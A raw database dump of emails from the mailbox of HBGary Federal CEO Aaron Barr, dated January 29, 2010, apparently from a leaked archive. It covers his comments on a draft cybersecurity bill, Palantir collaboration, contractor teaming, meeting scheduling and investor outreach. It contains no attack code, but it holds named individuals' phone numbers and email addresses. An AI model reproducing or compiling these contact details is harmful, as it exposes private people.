message:From: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Date: January 29, 2010 9:34:16 AM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: InputAaron, GREAT feedback. Thank you!&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, January 29, 2010 6:03 AMTo:&nbsp;Olcott, JacobSubject:&nbsp;Input&nbsp;Jake,&nbsp;I wish I had more time. &nbsp;But here is some input. &nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.&nbsp;Aaron&nbsp;&nbsp;SEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities. &nbsp;(my point here is there is lots of talent, capability, overlap, but often they don\'t collaborate for reasons of market share, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small companies are laser focused on immediate revenue and growth. &nbsp;Difficult to get them to think about collaboration. &nbsp;&nbsp;Describe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing. &nbsp;(In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).&nbsp;Describe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies. &nbsp;(It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)&nbsp;Describe how the program will facilitate development and implementation of newly developed technologies. &nbsp;Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don\'t have anything to do with the quality of the technology.&nbsp;Describe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced. &nbsp;How can we innovatively foster the creation of new ideas. &nbsp;Provide a national challenge in different areas at a government sponsored cybersecurity event. &nbsp;This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.&nbsp;SEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.&nbsp;Develop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.&nbsp;Programs to inform public of compromised systems, attack types, methods. &nbsp;More publicly digestible information on the threats and methods of attack.&nbsp;SEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMS&nbsp;SEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM&nbsp;SEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.&nbsp;Develop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.&nbsp;Develop technical coaching and mentorship programs to grow the current base into technical experts.&nbsp;SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships. &nbsp;I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.&nbsp;SEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATION&nbsp;SEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENTDevelop cybersecurity taxonomy and metrics standards.&nbsp;Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).&nbsp;Continually assess gaps in cyber defense research, development and implementation. &nbsp;Annual assessments of cyber intrusions and investigations/remediation. &nbsp;Publicly available documentation.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6078,'aaron_hbgary_com/6078.html'),(1795,'2010-01-29','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297000593.M918971P3547Q1795.eml','johncoxcpa@verizon.net,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,johncoxcpa@verizon.net','2009 Expense report','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi John,\r\n\r\n&nbsp;\r\n\r\nHere is HBGary Federal 2009 Expense report.&nbsp; If you\r\nhave any questions please contact me.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15765,'aaron_hbgary_com/15765.html'),(1796,'2010-01-29','\"MB Toth\" <mbt.rbtoth@starpower.net>','/aaron@hbgary.com/new/1297000594.M120224P3547Q1796.eml','\"James Foster\" <jjatjc@yahoo.com>,\"James Foster\" <james@its-in-the-wind.com>,\"James Foster\" <jjatjc@yahoo.com>,\"James Foster\" <james@its-in-the-wind.com>','Support for Cybersecurity Forums at NPS','Jim,\r\n\r\n     Just chatted with Aaron Barr of HB Gary Inc. about the \r\ncybersecurity seminars at the Naval Postgraduate School in Monterey, and \r\nhe noted he would be interested in supporting these forums.  Please feel \r\nfree to forward this note and their contact information on to Ted at NPS.\r\n\r\n     As I noted, Aaron, Ted Vera and his associates are working on a \r\nleading edge, insightful and agile approach to cybersecurity (and cyber \r\noffense).  They represent the best of the next generation of digital \r\nleaders that are pulling together a strategy for a full end-to-end cyber \r\nintelligence solution that could be turned into end-to-end cybersecurity \r\nsolutions.\r\n\r\n     I\'m sure Aaron and his associates will significantly advance \r\ncybersecurity forums out there with their insights and experience.\r\n\r\n     Keep me posted as these forums develop, as well as follow-up from \r\nour meetings with Vint at Google,\r\n\r\n         Mike Toth\r\n',5285,'aaron_hbgary_com/5285.html'),(1797,'2010-01-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000594.M344038P3547Q1797.eml','\"Aaron Barr\" <aaron@hbgary.com>','Aurora stuff','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nWe&#8217;d certainly like to look at the Aurora write up\r\nGreg is doing before it&#8217;s published anywhere.&nbsp; Also, if he could use any\r\nhelp just let me know. &nbsp;I have a cyber specific ontology laying around\r\nsomewhere that I could send over to him if that might help.\r\n\r\n&nbsp;\r\n\r\n-Matt\r\n\r\n&nbsp;\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16650,'aaron_hbgary_com/16650.html'),(1798,'2010-01-29','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000594.M995733P3547Q1798.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Hale, Jim (AS)\" <jim.hale@ngc.com>','624th Ops Center--Next Steps','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nI spoke at length with Vickie Michaels of CyberSpace Operations\r\nConsulting, LLC.&nbsp; Fundamentally her company is interested, but wants NGC\r\nto pay her company upfront to consultant in bringing this business case\r\ntogether.&nbsp; I conveyed that was not going to work, but if she could get her\r\nboss to sign the NDA, I would work with her to see how they might fit. \r\n\r\n&nbsp;\r\n\r\nOf note, she wasn&#8217;t interested in investing 2-4 hours of her\r\nown time just tighten the shot pattern on this effort.&nbsp; We left it with\r\nher going to see her boss and present the case (for which she did not seem\r\noverly enthusiastic)&#8212;we&#8217;ll see.&nbsp; \r\n\r\n&nbsp;\r\n\r\nAs I mentioned, CSOC would be nice to have on this team, but not\r\nessential.&nbsp; We have Tom Hobbins, Bob Hinson, Tim Peppe, Jim Hale, Mike\r\nEdwards, and others that you know to assist with senior customer\r\ninterface.&nbsp; \r\n\r\n&nbsp;\r\n\r\nUntil we hear from Vickie, not sure we should plan to rendezvous in\r\nSan Antonio&#8212;I&#8217;ll stay on top of this and keep you in-the-loop. \r\n\r\n&nbsp;\r\n\r\nAlso, Jim Hale has some things in the work that he believes will be\r\nof interest to you.&nbsp; He&#8217;ll be in touch soon. &nbsp;\r\n\r\n&nbsp;\r\n\r\nJim \'Torch\' Hale \r\n\r\n(719) 238-0763 (mobile)\r\n\r\n&nbsp;\r\n\r\nAaron Barr\r\n\r\n(719) 510-8478 (mobile)\r\n\r\n(301) 652-8885 x117\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBest regards, \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\n\r\n',2892,'aaron_hbgary_com/2892.html'),(1799,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000595.M215610P3547Q1799.eml','\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Aurora stuff','Begin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;Date: January 29, 2010 5:32:07 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Aurora stuff Aaron,&nbsp;We’d certainly like to look at the Aurora write up Greg is doing before it’s published anywhere.&nbsp; Also, if he could use any help just let me know. &nbsp;I have a cyber specific ontology laying around somewhere that I could send over to him if that might help.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;',2648,'aaron_hbgary_com/2648.html'),(1800,'2010-01-29','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297000595.M404809P3547Q1800.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Etue, David\" <david.etue@fidelissecurity.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Etue, David\" <david.etue@fidelissecurity.com>','RE: Meeting','Great.  About to board a plane here, but will send a meeting notice with directions over the weekend.\r\n\r\nDavid \r\n\r\nSent from my mobile phone, please excuse any typos.\r\n\r\n-----Original Message-----\r\nFrom: Penny Leavy-Hoglund \r\nSent: Friday, January 29, 2010 4:01 PM\r\nTo: \'Etue, David\' \r\nCc: \'Rich Cummings\' ; \'Aaron Barr\' \r\nSubject: RE: Meeting\r\n\r\nok\r\n\r\n \r\n\r\nFrom: Etue, David [mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, January 28, 2010 11:58 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Rich Cummings; Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n \r\n\r\nIf it works for them, lets do 3 PM.  We are in downtown Bethesda.\r\n\r\n\r\nDavid\r\n\r\n \r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:56 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: RE: Meeting\r\n\r\n \r\n\r\nGreg has a meeting from 12:30 to 2:00 in Reston, we could do it after, are\r\nyou close?\r\n\r\n \r\n\r\nFrom: Etue, David [mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, January 28, 2010 11:52 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Rich Cummings; Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n \r\n\r\nMoving to the 8th is fine.  If possible, it would be better to move it to\r\nthe afternoon as we do our weekly sales and management meetings on Monday AM\r\nfrom 10-1.  If 1 PM doesn\'t work, let\'s go ahead with 9:30 and some of us\r\ncan just miss the weekly updates.\r\n\r\n \r\n\r\nThanks!\r\nDavid\r\n\r\n \r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:50 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: Meeting\r\n\r\n \r\n\r\nHi David\r\n\r\n \r\n\r\nThanks so much for the phone call today.  I really enjoyed talking with you,\r\nyou gave me a lot of insight.  Unfortunately Aaron will be out of town on\r\nWednesday and he really wants to be there for the reasons I told you, so can\r\nyou guys do Monday the 8th?  9:30?  We can demo our product for you and give\r\nyour team and overview and Aaron would like to see your product and\r\noverview.  All in the spirit for working together on multiple fronts.\r\nGreg Hoglund the founder and CEO will also be on that call he happens to be\r\nin DC that week.  I would plan 1.5 hours to 2 for both sides to present.\r\nDoes this work?  I\'ve copied both Rich(CTO)  and Aaron(CEO HBGary Federal) \r\n\r\n \r\n\r\nThanks\r\n\r\nPenny\r\n\r\n',1585,'aaron_hbgary_com/1585.html'),(1801,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000596.M509891P3547Q1801.eml','\"Matthew Steckman\" <msteckman@palantirtech.com>','Re: Aurora stuff','Will do. &nbsp;Any help would be appreciated. &nbsp;Greg commented he was having some struggles not being familiar with the Palantir interface. &nbsp;He was trying to import code objects or something like that. &nbsp;Anyway some training and anything else will help. &nbsp;We have a guy Sean Bracken, he is the B in HBGary, brilliant malware developer and analyst. &nbsp;I think he is going to be charging up a lot of this work. &nbsp;Greg is really getting excited about what can be done, the reports will go a long way to selling the capabilities and what can be done between HBGary and Palantir. &nbsp;We are definately going to be putting people through the classes coming up.Also on a personal note...any known issues running Palantir in a VM? &nbsp;I installed it yesterday and couldn\'t connect to server. &nbsp;I will do some reading this weekend.AaronOn Jan 29, 2010, at 5:32 PM, Matthew Steckman wrote:Aaron,&nbsp;We’d certainly like to look at the Aurora write up Greg is doing before it’s published anywhere.&nbsp; Also, if he could use any help just let me know. &nbsp;I have a cyber specific ontology laying around somewhere that I could send over to him if that might help.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;',3477,'aaron_hbgary_com/3477.html'),(1802,'2010-01-29','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000596.M984276P3547Q1802.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Aurora stuff','\r\nYes, palantir doesn\'t like vms, although you should still be able to connect to a qs through one. Sync up later on all this. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Matthew SteckmanSent: Fri Jan 29 14:55:31 2010Subject: Re: Aurora stuff\r\nWill do. &nbsp;Any help would be appreciated. &nbsp;Greg commented he was having some struggles not being familiar with the Palantir interface. &nbsp;He was trying to import code objects or something like that. &nbsp;Anyway some training and anything else will help. &nbsp;We have a guy Sean Bracken, he is the B in HBGary, brilliant malware developer and analyst. &nbsp;I think he is going to be charging up a lot of this work. &nbsp;Greg is really getting excited about what can be done, the reports will go a long way to selling the capabilities and what can be done between HBGary and Palantir. &nbsp;We are definately going to be putting people through the classes coming up.Also on a personal note...any known issues running Palantir in a VM? &nbsp;I installed it yesterday and couldn\'t connect to server. &nbsp;I will do some reading this weekend.AaronOn Jan 29, 2010, at 5:32 PM, Matthew Steckman wrote:Aaron,&nbsp;We’d certainly like to look at the Aurora write up Greg is doing before it’s published anywhere.&nbsp; Also, if he could use any help just let me know. &nbsp;I have a cyber specific ontology laying around somewhere that I could send over to him if that might help.&nbsp;-Matt&nbsp;Matthew SteckmanPalantir Technologies | Forward Deployed Engineermsteckman@palantirtech.com&nbsp;| 202-257-2270&nbsp;',4910,'aaron_hbgary_com/4910.html'),(1803,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000599.M482940P3547Q1803.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Aurora stuff','CrapFrom my iPhoneBegin forwarded message:From: Matthew Steckman &lt;msteckman@palantirtech.com&gt;\r\nDate: January 29, 2010 6:12:10 PM ESTTo: &quot;&#39;aaron@hbgary.com&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: Re: Aurora stuff\r\n\r\nYes, palantir doesn&#39;t like vms, although you should still be able to connect to a qs through one. Sync up later on all this. \r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Matthew Steckman\r\nSent: Fri Jan 29 14:55:31 2010Subject: Re: Aurora stuff\r\n\r\nWill do.  Any help would be appreciated.  Greg commented he was having some struggles not being familiar with the Palantir interface.  He was trying to import code objects or something like that.  Anyway some training and anything else will help.  We have a guy Sean Bracken, he is the B in HBGary, brilliant malware developer and analyst.  I think he is going to be charging up a lot of this work.  Greg is really getting excited about what can be done, the reports will go a long way to selling the capabilities and what can be done between HBGary and Palantir.  We are definately going to be putting people through the classes coming up.\r\nAlso on a personal note...any known issues running Palantir in a VM?  I installed it yesterday and couldn&#39;t connect to server.  I will do some reading this weekend.Aaron\r\nOn Jan 29, 2010, at 5:32 PM, Matthew Steckman wrote:\r\nAaron,\r\n We’d certainly like to look at the Aurora write up Greg is doing before it’s published anywhere.  Also, if he could use any help just let me know.  I have a cyber specific ontology laying around somewhere that I could send over to him if that might help.\r\n \r\n-Matt \r\nMatthew SteckmanPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n \r\n',2634,'aaron_hbgary_com/2634.html'),(1804,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000599.M949280P3547Q1804.eml','\"Rich Cummings\" <rich@hbgary.com>','Windows box','Rich,\r\n\r\nDo you have an extra native windows box.  Turns out palantir doesn\'t\r\nlike VM.\r\n\r\nUgh.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',5087,'aaron_hbgary_com/5087.html'),(1805,'2010-01-29','\"Joel Jacks\" <jjacks@cmequity.com>','/aaron@hbgary.com/new/1297000600.M131606P3547Q1805.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting in SCIF','Aaron\r\n\r\nNice to hear about your new position - it seems exciting.  Thanks for\r\nthinking of us for an equity investment.  As you may recall we only\r\ninvest in services and not products.  I\'m afraid we will have to pass on\r\nthe opportunity.\r\n\r\nRegards,\r\n \r\nJoel\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 4:12 PM\r\nTo: Peter Schulte\r\nCc: Joel Jacks\r\nSubject: Re: Meeting in SCIF\r\n\r\nPeter/Joel,\r\n\r\nIt has been a while.  Thought you would find the below article\r\ninteresting.\r\n\r\nhttp://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n/SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a+Ma\r\nkeover&cd=2&hl=en&ct=clnk&gl=us&client=firefox-a\r\n\r\nAlso wanted to tell you a little about where I have landed.  HBGary is a\r\nMalware analysis and incident response product company.  One of their\r\nmost recent products, Digital DNA, is the most interesting.  It\r\nidentifies malware based on behaviors rather than on signatures.  The\r\nproduct is 75% effective against tested zero day attacks.  Currently we\r\nare integrated into McAfee and getting integrated into Symantec\r\nproducts.  Many other neat things to say about it.  Greg Hoglund is the\r\nCEO and founder of HBGary.  I am the CEO of its sister company, HBGary\r\nFederal, focused on developing and delivering cybersecurity and\r\ninformation operations services to the government.  The relationship is\r\nworking very well, allows us to focus.\r\n\r\nHBGary is carefully looking for some equity funding to help ramp up its\r\nproduct offerings, and I thought of you guys.  I think it would be\r\nworthwhile to have a discussion with them.  So far they have been\r\ncompletely internally funded, are already profitable, and a set to have\r\ntheir best year yet.  I can help to set up a meeting if your interested.\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',8862,'aaron_hbgary_com/8862.html'),(1806,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000600.M317174P3547Q1806.eml','\"Joel Jacks\" <jjacks@cmequity.com>,\"Joel Jacks\" <jjacks@cmequity.com>','Re: Meeting in SCIF','Joel,\r\n\r\nI had forgotten that thanks.  I am having a lot of fun.  I fit better\r\nin a small company.  I will touch base from time to time.  I run the\r\nservices sister company.  We are just starting out so not much look at\r\nyet, but I have a few pursuits that could turn out well in the next 4\r\nmonths.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 29, 2010, at 6:16 PM, \"Joel Jacks\"  wrote:\r\n\r\n> Aaron\r\n>\r\n> Nice to hear about your new position - it seems exciting.  Thanks for\r\n> thinking of us for an equity investment.  As you may recall we only\r\n> invest in services and not products.  I\'m afraid we will have to\r\n> pass on\r\n> the opportunity.\r\n>\r\n> Regards,\r\n>\r\n> Joel\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, January 29, 2010 4:12 PM\r\n> To: Peter Schulte\r\n> Cc: Joel Jacks\r\n> Subject: Re: Meeting in SCIF\r\n>\r\n> Peter/Joel,\r\n>\r\n> It has been a while.  Thought you would find the below article\r\n> interesting.\r\n>\r\n> http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n> /SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a\r\n> +Ma\r\n> keover&cd=2&hl=en&ct=clnk&gl=us&client=firefox-a\r\n>\r\n> Also wanted to tell you a little about where I have landed.  HBGary\r\n> is a\r\n> Malware analysis and incident response product company.  One of their\r\n> most recent products, Digital DNA, is the most interesting.  It\r\n> identifies malware based on behaviors rather than on signatures.  The\r\n> product is 75% effective against tested zero day attacks.  Currently\r\n> we\r\n> are integrated into McAfee and getting integrated into Symantec\r\n> products.  Many other neat things to say about it.  Greg Hoglund is\r\n> the\r\n> CEO and founder of HBGary.  I am the CEO of its sister company, HBGary\r\n> Federal, focused on developing and delivering cybersecurity and\r\n> information operations services to the government.  The relationship\r\n> is\r\n> working very well, allows us to focus.\r\n>\r\n> HBGary is carefully looking for some equity funding to help ramp up\r\n> its\r\n> product offerings, and I thought of you guys.  I think it would be\r\n> worthwhile to have a discussion with them.  So far they have been\r\n> completely internally funded, are already profitable, and a set to\r\n> have\r\n> their best year yet.  I can help to set up a meeting if your\r\n> interested.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n',11208,'aaron_hbgary_com/11208.html'),(1807,'2010-01-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000605.M225975P3547Q1807.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Windows box','Yes I have many... you need one?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, January 29, 2010 6:16 PM\r\nTo: Rich Cummings\r\nSubject: Windows box\r\n\r\nRich,\r\n\r\nDo you have an extra native windows box.  Turns out palantir doesn\'t\r\nlike VM.\r\n\r\nUgh.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\n',2731,'aaron_hbgary_com/2731.html'),(1808,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000605.M421641P3547Q1808.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: Windows box','Just 1 so I can load palantir.\r\n\r\n From my iPhone\r\n\r\nOn Jan 29, 2010, at 6:23 PM, \"Rich Cummings\"  wrote:\r\n\r\n> Yes I have many... you need one?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, January 29, 2010 6:16 PM\r\n> To: Rich Cummings\r\n> Subject: Windows box\r\n>\r\n> Rich,\r\n>\r\n> Do you have an extra native windows box.  Turns out palantir doesn\'t\r\n> like VM.\r\n>\r\n> Ugh.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n',16426,'aaron_hbgary_com/16426.html'),(1809,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000605.M642823P3547Q1809.eml','\"Joel Jacks\" <jjacks@cmequity.com>,\"Joel Jacks\" <jjacks@cmequity.com>','Re: Meeting in SCIF','In fact if your interested next time your in town I could fill you in\r\non my creation of a small business consortium to develop a threat\r\nintelligence capability.  I have 4 best in class cybersecurity\r\ncompanies as partners currently.  All products, I am building a threat\r\nintelligence service around it.  Might interest you.\r\n\r\nRegards,\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 29, 2010, at 6:16 PM, \"Joel Jacks\"  wrote:\r\n\r\n> Aaron\r\n>\r\n> Nice to hear about your new position - it seems exciting.  Thanks for\r\n> thinking of us for an equity investment.  As you may recall we only\r\n> invest in services and not products.  I\'m afraid we will have to\r\n> pass on\r\n> the opportunity.\r\n>\r\n> Regards,\r\n>\r\n> Joel\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, January 29, 2010 4:12 PM\r\n> To: Peter Schulte\r\n> Cc: Joel Jacks\r\n> Subject: Re: Meeting in SCIF\r\n>\r\n> Peter/Joel,\r\n>\r\n> It has been a while.  Thought you would find the below article\r\n> interesting.\r\n>\r\n> http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n> /SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a\r\n> +Ma\r\n> keover&cd=2&hl=en&ct=clnk&gl=us&client=firefox-a\r\n>\r\n> Also wanted to tell you a little about where I have landed.  HBGary\r\n> is a\r\n> Malware analysis and incident response product company.  One of their\r\n> most recent products, Digital DNA, is the most interesting.  It\r\n> identifies malware based on behaviors rather than on signatures.  The\r\n> product is 75% effective against tested zero day attacks.  Currently\r\n> we\r\n> are integrated into McAfee and getting integrated into Symantec\r\n> products.  Many other neat things to say about it.  Greg Hoglund is\r\n> the\r\n> CEO and founder of HBGary.  I am the CEO of its sister company, HBGary\r\n> Federal, focused on developing and delivering cybersecurity and\r\n> information operations services to the government.  The relationship\r\n> is\r\n> working very well, allows us to focus.\r\n>\r\n> HBGary is carefully looking for some equity funding to help ramp up\r\n> its\r\n> product offerings, and I thought of you guys.  I think it would be\r\n> worthwhile to have a discussion with them.  So far they have been\r\n> completely internally funded, are already profitable, and a set to\r\n> have\r\n> their best year yet.  I can help to set up a meeting if your\r\n> interested.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n',1696,'aaron_hbgary_com/1696.html'),(1810,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000605.M844970P3547Q1810.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Meeting in SCIF','From my iPhoneBegin forwarded message:From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: January 29, 2010 6:26:58 PM ESTTo: Joel Jacks &lt;jjacks@cmequity.com&gt;Cc: Peter Schulte &lt;pschulte@cmequity.com&gt;\r\nSubject: Re: Meeting in SCIFIn fact if your interested next time your in town I could fill you inon my creation of a small business consortium to develop a threat\r\nintelligence capability.  I have 4 best in class cybersecuritycompanies as partners currently.  All products, I am building a threatintelligence service around it.  Might interest you.\r\nRegards,Aaron From my iPhoneOn Jan 29, 2010, at 6:16 PM, &quot;Joel Jacks&quot; &lt;jjacks@cmequity.com&gt; wrote:\r\nAaronNice to hear about your new position - it seems exciting.  Thanks for\r\nthinking of us for an equity investment.  As you may recall we onlyinvest in services and not products.  I&#39;m afraid we will have to\r\npass onthe opportunity.\r\nRegards,Joel\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]Sent: Friday, January 29, 2010 4:12 PM\r\nTo: Peter SchulteCc: Joel JacksSubject: Re: Meeting in SCIF\r\nPeter/Joel,It has been a while.  Thought you would find the below article\r\ninteresting.http://74.125.155.132/search?q=cache:mxUF19qZPHMJ:online.wsj.com/article\r\n/SB10001424052748704905604575027180879078708.html+Giving+Mobile+Ads+a+Makeover&amp;cd=2&amp;hl=en&amp;ct=clnk&amp;gl=us&amp;client=firefox-a\r\nAlso wanted to tell you a little about where I have landed.  HBGaryis a\r\nMalware analysis and incident response product company.  One of theirmost recent products, Digital DNA, is the most interesting.  It\r\nidentifies malware based on behaviors rather than on signatures.  Theproduct is 75% effective against tested zero day attacks.  Currently\r\nweare integrated into McAfee and getting integrated into Symantecproducts.  Many other neat things to say about it.  Greg Hoglund is\r\ntheCEO and founder of HBGary.  I am the CEO of its sister company, HBGaryFederal, focused on developing and delivering cybersecurity and\r\ninformation operations services to the government.  The relationshipisworking very well, allows us to focus.\r\nHBGary is carefully looking for some equity funding to help ramp upits\r\nproduct offerings, and I thought of you guys.  I think it would beworthwhile to have a discussion with them.  So far they have been\r\ncompletely internally funded, are already profitable, and a set tohavetheir best year yet.  I can help to set up a meeting if your\r\ninterested.Thanks,Aaron Barr\r\nCEOHBGary Federal Inc.\r\n',13057,'aaron_hbgary_com/13057.html'),(1811,'2010-01-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297000606.M223804P3547Q1812.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting in SCIF','He said he wants to pass, so why did you invite him to talk?On 